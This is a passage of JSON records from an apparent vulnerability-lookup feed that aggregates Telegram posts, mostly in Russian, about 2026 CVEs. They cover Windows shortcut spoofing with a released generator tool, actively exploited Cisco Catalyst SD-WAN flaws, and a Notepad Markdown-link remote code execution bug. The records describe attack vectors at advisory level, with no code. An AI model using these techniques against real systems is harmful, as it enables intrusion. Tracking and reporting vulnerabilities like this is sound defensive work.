\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 \u044f\u0440\u043b\u044b\u043a\u043e\u0432 Windows, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u041f\u041e.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435\u00a0\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b\u00a0\u00a0\u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f\u043c\u0438 \u0432 \u0442\u043e\u043c, \u043a\u0430\u043a \u043f\u0440\u043e\u0432\u043e\u0434\u043d\u0438\u043a Windows \u0440\u0430\u0441\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u044b \u0434\u043b\u044f \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442\u0443\u044e\u0449\u0438\u0445 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u043f\u0443\u0442\u0435\u0439, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 \u044f\u0440\u043b\u044b\u043a\u043e\u0432.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b lnk-it-up - \u043d\u0430\u0431\u043e\u0440 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442 \u044f\u0440\u043b\u044b\u043a\u0438 Windows LNK \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432.", "creation_timestamp": "2026-02-13T18:00:09.000000Z"}, {"uuid": "1d48665d-9003-4e26-b9d9-4b3d1392b48c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "exploited", "source": "https://t.me/information_security_channel/54952", "content": "Recent Cisco Catalyst SD-WAN Vulnerability Now Widely Exploited\nhttps://www.securityweek.com/recent-cisco-catalyst-sd-wan-vulnerability-now-widely-exploited/\n\nWatchTowr reports seeing exploitation attempts for CVE-2026-20127 from numerous unique IP addresses.\nThe post Recent Cisco Catalyst SD-WAN Vulnerability Now Widely Exploited (https://www.securityweek.com/recent-cisco-catalyst-sd-wan-vulnerability-now-widely-exploited/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-03-08T17:30:29.000000Z"}, {"uuid": "900a0dde-1182-4fcb-a738-61fedee7c626", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://t.me/tech_b0lt_Genona/6156", "content": "\u041d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e \u0442\u0430\u043a \u0431\u043b\u043e\u043a\u043d\u043e\u0442 \u0432 Windows \u0443\u043b\u0443\u0447\u0448\u0438\u043b\u0438\n\nWindows Notepad App Remote Code Execution Vulnerability\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841\n\nExecutive Summary\n\nImproper neutralization of special elements used in a command ('command injection') in Windows Notepad App allows an unauthorized attacker to execute code over a network.\n\nHow could an attacker exploit this vulnerability?\n\nAn attacker could trick a user into clicking a malicious link inside a Markdown file opened in Notepad, causing the application to launch unverified protocols that load and execute remote files.\n\nAccording to the CVSS metric, the attack vector is network (AV:N) and user interaction is required (UI:R). What is the target context of the remote code execution?\n\nThe malicious code would execute in the security context of the user who opened the Markdown file, giving the attacker the same permissions as that user.", "creation_timestamp": "2026-02-11T20:10:23.000000Z"}, {"uuid": "02ad3b53-f7db-44e9-9140-eda040245746", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "exploited", "source": "https://t.me/true_secator/7969", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043d\u0430\u0447\u0430\u043b\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0432\u043e\u043b\u043d\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u0432\u0443\u0445 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Catalyst SD-WAN \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n25 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f\u00a0\u043f\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Catalyst SD-WAN, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root.\u00a0\n\n\u041f\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044e \u043d\u0430 5 \u043c\u0430\u0440\u0442\u0430 Cisco \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0441\u0432\u043e\u0435 \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0435 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u0432 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0435\u0439 \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u0432\u0443\u0445 \u0438\u0437 \u043f\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2026-20128 \u0438 CVE-2026-20122.\n\n\u041f\u0435\u0440\u0432\u0430\u044f, CVE-2026-20128, - \u044d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0430\u0433\u0435\u043d\u0442\u0430 \u0441\u0431\u043e\u0440\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 (DCA) \u0432 Catalyst SD-WAN Manager. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f DCA \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u0414\u0440\u0443\u0433\u0430\u044f, CVE-2026-20122, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u044d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e API Catalyst SD-WAN Manager. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\u0412 Cisco \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u043e \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u043e\u043d\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438.\n\n\u041d\u043e \u0441\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0442\u0430\u0442\u0443\u0441\u0430 \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0434\u0435\u043b\u044e \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439\u00a00-day, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0439 Catalyst SD-WAN.\n\nCVE-2026-20127 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\u0422\u043e\u0433\u0434\u0430 CISA \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u0430, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u043b\u0430\u0441\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0431\u043e\u043b\u0435\u0435 \u0441\u0442\u0430\u0440\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e Catalyst, CVE-2022-20775, \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCisco Talos \u0441\u0432\u044f\u0437\u0430\u043b\u0430 \u044d\u0442\u0438 \u0430\u0442\u0430\u043a\u0438 \u0441 UAT-8616, \u043f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441 2023 \u0433\u043e\u0434\u0430.\u00a0\u041d\u043e \u043d\u0435\u044f\u0441\u043d\u043e, \u0431\u044b\u043b\u0438 \u043b\u0438 \u0432\u0441\u0435 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Catalyst SD-WAN \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0432 \u043e\u0434\u043d\u043e\u0439 \u0438\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445.\u00a0\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Cisco \u0442\u0430\u043a\u0436\u0435 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u043b\u0430 \u0430\u0442\u0430\u043a\u0438 \u0441 \u043d\u0443\u043b\u044f\u043c\u0438,\u00a0\u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043c\u044b\u043c\u0438 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 APT, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0439 \u043a\u0430\u043a UAT-9686. \u0412 \u043e\u0431\u0449\u0435\u043c, \u0431\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c.", "creation_timestamp": "2026-03-05T17:00:08.000000Z"}, {"uuid": "7a0b7b5a-ab64-4fbb-83f5-1a607cca3af6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "exploited", "source": "https://t.me/true_secator/7969", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043d\u0430\u0447\u0430\u043b\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0432\u043e\u043b\u043d\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u0432\u0443\u0445 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Catalyst SD-WAN \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n25 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f\u00a0\u043f\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Catalyst SD-WAN, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root.\u00a0\n\n\u041f\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044e \u043d\u0430 5 \u043c\u0430\u0440\u0442\u0430 Cisco \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0441\u0432\u043e\u0435 \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0435 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u0432 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0435\u0439 \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u0432\u0443\u0445 \u0438\u0437 \u043f\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: CVE-2026-20128 \u0438 CVE-2026-20122.\n\n\u041f\u0435\u0440\u0432\u0430\u044f, CVE-2026-20128, - \u044d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0430\u0433\u0435\u043d\u0442\u0430 \u0441\u0431\u043e\u0440\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 (DCA) \u0432 Catalyst SD-WAN Manager. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f DCA \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u0414\u0440\u0443\u0433\u0430\u044f, CVE-2026-20122, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u044d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e API Catalyst SD-WAN Manager. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\u0412 Cisco \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u043e \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u043e\u043d\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438.\n\n\u041d\u043e \u0441\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0442\u0430\u0442\u0443\u0441\u0430 \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0434\u0435\u043b\u044e \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439\u00a00-day, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0439 Catalyst SD-WAN.\n\nCVE-2026-20127 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\u0422\u043e\u0433\u0434\u0430 CISA \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u0430, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u043b\u0430\u0441\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0431\u043e\u043b\u0435\u0435 \u0441\u0442\u0430\u0440\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e Catalyst, CVE-2022-20775, \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0433\u043e 